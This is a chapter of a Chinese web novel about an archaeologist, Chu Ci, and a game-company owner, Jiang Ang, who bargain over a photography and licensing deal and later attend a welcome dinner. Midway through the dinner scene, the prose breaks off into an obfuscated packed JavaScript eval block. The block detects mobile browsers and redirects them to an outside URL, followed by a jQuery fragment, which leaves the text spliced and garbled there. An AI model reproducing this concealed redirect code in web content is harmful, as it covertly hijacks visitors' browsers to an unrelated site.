“江总?”
江昂听见声慢慢悠悠转身,没有楚茨眼中的诧然,像是如有所料似的,一脸平静道:“安所,好久不见。”
安纲迎上来笑道:“江总怎么这么早就来了,咱们不是约的11月?”
“临时接了个外快。”江昂微微侧身,露出后面的楚茨,“来面试摄影师。”
安纲和林玲对视一眼,一脸茫然地看向楚茨。
楚茨感觉自己脸上的笑容变得僵硬,丈二和尚摸不着头脑,只得干巴巴一笑。
四人一行去到所长办公室,林玲叫了四杯咖啡,安纲却端出两杯刚泡好的热茶,笑着说:“江总不喝咖啡,我没记错吧?”
江昂淡笑颔首,接过茶放在桌上,大家落座沙发区,楚茨和江昂同坐一张沙发,这会儿正捧着咖啡低头出神。
安纲对楚茨说:“这事儿不怪你,所里一直在跟江总谈ip方面的合作,现在还处于保密阶段,原定下个月蝉翼那边团队过来考察,想着到时候新馆开幕了,再跟你说。”
“蝉翼……?”楚茨嘴巴微张,看向江昂的眼神满是震惊,“你是蝉翼的老板?”
原来那天她注册的游戏就是他做的?
那他为什么不说啊……
安纲诧异问道:“你不知道?”
“……还真不知道。”楚茨哭笑不得,自嘲道,“看来我以后还是多接触点年轻人的爱好吧。”
江昂说:“是楚老师邀请我在先,我也不便自报家门,怕楚老师有压力,觉得我纡尊降贵。”
这突如其来的贴心人设,楚茨腹诽,恐怕不是怕她有压力,而是想整她吧?国内首屈一指的游戏公司老板,竟然跑来给她当摄影师?还不远千里来面试……
等等,纡尊降贵?
那天前往葛西县城的路上,被抓包到背后议论他,当时她好像就是这么说的。
楚茨不可置信地转过头去,对上江昂温和的笑容,可是这笑容怎么看都有点阴险。
不是吧,这么大个老板怎么还记仇呢,也太小肚鸡肠了!
言归正传,安纲对江昂的来意也十分奇怪,绝想不到楚茨口中所说的人会是他,但以他如此身价地位,能够为他们新馆开业服务,也不知道这小丫头片子有没有事先跟人谈好价格啊……
“听小楚说,这次的开幕展摄影,江总打算亲自操刀?”
“是这么打算,楚老师人很大方,说要给我开劳务,其实钱我倒是不需要。”江昂说。
安纲一脸愿闻其详。
他就知道这事儿没那么简单,在商言商,割肉放血。
“这次的摄影作品希望能无偿授权给我们,当然,都是用于我们合作的游戏项目。”
原先的合作意向里,蝉翼作为游戏开发方负责美术设计,其他关于玉巨湾的实物资料,基于保密规定,能授权的都已经列明清单,但由于那时新馆开幕展的方案尚未落实,这一批展品并不在清单内。
要加上这部分授权,虽不是多难的事,却不免要双方再坐下来磋商几轮,蝉翼作为有求于人方,话语权势必不在自己,而所里为免重新审批的繁复流程,多半不会答应。
但眼下形势逆转,为满足展览要求,江昂确实是他们唯一的选择,如果舍弃他,就相当于放弃原定的方案效果。
真是……两头为难。
话落一室静谧,安纲面容温然,似是思考,林玲则起身把办公室的门关严了。
两人从办公大楼出来时,日头已见西斜。
这场商谈到最后,虽免不了敷衍流程上的报批困难云云,但不难看出,安纲到底还是松了口。
缓缓走下阶梯,楚茨像是重新认识了身旁这人一般,低头看着脚下,轻声说:“无奸不商。”
“商人的本质就是如此。”江昂说,“这一课确实贵,但你已经付了学费。”
“枉我当时还以为你是真心愿意帮我,还想着万一你是个挺有名气的摄影师,漫天要价怎么办,我甚至连后面超额特殊审批的事情都想好了……”楚茨抱怨,恨恨道,“没想到,还真是漫天要价,闹出这么大的乱子。”
“这叫合作无间。”江昂纠正道。
楚茨偷偷翻了个白眼,打算先行一步:“随你怎么讲,我要去开会了,你自便吧。”
江昂拉住她:“我怎么办?”
楚茨回头,一笑:“你现在都已经是我们编外人员了,想去哪就去哪呀。”
楚茨故意这样说,看似承认了他所谓的“合作无间”,实则心里另有打算。
前面的展馆、研究所大院,乃至后面正在发掘的探方,哪一个不是保密重地,江昂现在还没有通行证,自然四处碰壁,寸步难行。
这无疑是楚茨故意促狭捉弄他,还以颜色。
江昂松开她,眯着眼审视了她半晌,说:“就这么对待你千辛万苦挖来的摄影师?”
“从结果倒推,似乎并不是我千辛万苦、费尽心机,而是你,自己送上门来的。”楚茨态度强硬道。
“确实。”江昂倏地一笑,“姜太公钓鱼愿者上钩,只可惜楚老师你这根鱼竿,只有我这一条鱼愿意上钩,除了我,你别无选择。”
二人一高一低,对视之间似有火星四溅。
楚茨本就对他别有居心的接近感到不忿,嘴上说两句解解气罢了,这下倒好,他还逮着人的空子不放手。
“江老板,现在并不是我单方面有求于你吧?你不是也想拿到那份新增名单?”
“所以我说合作无间有什么问题?”
“问题就是你这个人城府太深,令人想要敬而远之。”
旋即,江昂慢慢笑了,语气平静道:“那楚老师真是多虑了,你我之间谈不上情分,只是合作关系,共同努力把这个项目做好,于你于我,都是好事一件。”
楚茨定定地看着他,点头道:“好,江老板这番话我会谨记在心。”
话落手机来电响起,楚茨知道是小分队的田野汇报会在催她了,不想再和江昂多纠缠:“我真的还有会,得走了,正式的拍摄日期等定好了我通知你。”
看着楚茨疾步离开的背影,江昂立在阶上良久,面色难辨阴晴。
-
为欢迎江昂莅临,安纲安排了晚宴给他接风,规模倒不夸张,只是些相关人员到场,胜在轻简。
楚茨接到电话很是抗拒:“安哥,我晚上就不去了吧,小朋友们今天交上来的报告还有很多地方需要修改整理,时间紧急,我得趁今天赶紧给改改。”
安纲说:“你是负责人,江总又是你牵线,你不来是不是……实在来不了就让周怯来吧,总得出个人。”
楚茨忽然想到下午江昂说的“合作关系”。
确实,这是公事,不应该夹带太多个人情绪,公事就要公办。
“那我和周怯一起去吧。”
晚宴定在市中心的酒楼,研究所这方人人马一起出发,易千阳开车,跟江昂前后脚到,同时列席的还有邱枫。
小伙子做了个蛮摩登的发型,一见到楚茨就朝她热情招手:“楚老师~”
楚茨对他的印象倒是还不错,冲他微微一笑。
座位原本安排
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046431|194737||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楚茨挨着邱枫,但邱枫执意要把位置让给她,自己则坐到楚茨的左手。
这样一来,楚茨就坐在了江昂和邱枫的中间。
席间邱枫偷偷问她:“楚老师,你和我老大吵架了吗?”
楚茨一怔:“怎么这么问?”
“我刚看到他的时候,感觉他头顶一片乌云,浑身散发着一种冷冰冰的气息。”
楚茨觉得他说话真夸张,笑了笑,道:“真有那么离谱?你老大是雷公变来的啊?”
邱枫神色认真地说:“我真觉得他有神秘力量,从小到大,我最佩服他的就是能控制天气。”
“控制?”楚茨觉得他的话越发没边了,“怎么控制天气?”
“你看。”邱枫指指窗外。
楚茨抬眼望去,不禁愣住了。
刚刚走进酒楼时,外面霞光灿焕,分明是个晴好傍晚,然而此时却是风雨云集,遮天蔽日。
像是要下雨的样子。
楚茨感到不可思议,一转头,见邱枫耸耸肩,司空见惯的模样。
“你说笑的吧?”
“我也不知道。”邱枫自若地夹菜,“反正也没有科学依据,我瞎猜的。”
一瞬间,楚茨胳膊上起了薄薄一层颤栗,不由在桌下抱了抱小臂。
说话间,安纲起了个话头:“这天说变就变,上阳已经有一阵没下雨了。”
林玲笑着说:“这下好了,终于赶上一个雨休,大家可得开心坏了。”
六号坑坑长董恽说:“也不敢下太久,耽误工期,还容易破坏现场。江总估计不知道,我们呐是晴天骂太阳、雨天骂龙王。”
江昂说:“据我所知,下雨天探方会铺雨棚。”
“雨水多了,雨棚沉下去,坑内还是会灌水,天一晴,我们却等不了自然风干,只能搬机器来抽水,这也是个不小的工程,抽完水的土层也已经被破坏了,又得重新刮。”董恽摇摇头,“费事儿着呢。”
这都是考古人最头痛的常见现象,众人都无奈笑了。
江昂脸上始终若有若无的微笑,并不亲近,也不客套,倒是贯彻他所言的合作关系。
楚茨深吸一口气,提醒自己不能再钻这些牛角尖,容易影响情绪。
“江总这次来安排酒店了吗?如果没有的话,就还是跟上次一样,安排我们的招待所?”安纲问。
一听这个,楚茨立刻凝神,看似吃饭,实则是竖起耳朵。
从白天来看,江昂还真没有自备酒店,本来还说给他申请,结果下午事发突然,一来二去就全给忘了。
况且,按他俩现在这个氛围,楚茨宁愿他去外面住。
毕竟她自己现在也住在招待所院里呢,她原先的六号楼职工公寓最近在加固外立面,她和周怯、易千阳这批年轻同志就都暂时搬到招待所。
离这么近,低头不见抬头见的,白天工作在一起也就算了,晚上还要住在一栋楼里。
真是不利于维护“合作关系”。
“听安所的,怎么方便工作怎么来。”江昂很好说话的语气,“毕竟我这次是过来配合领导的工作,一切听所里安排。”
楚茨心下冷哼。
还真是披着羊皮的狼,装什么礼贤下士。
“江总真是太客气了。”安纲沉吟一瞬,说:“小楚啊,那就安排在你楼上吧,那一层正好还有空房,况且江总主要配合你,你们住的近些也好沟通工作。”
窗外不知不觉乌云退半,俨然有向晴的迹象。
楚茨却是心如死灰。
不如来道雷劈死我好了。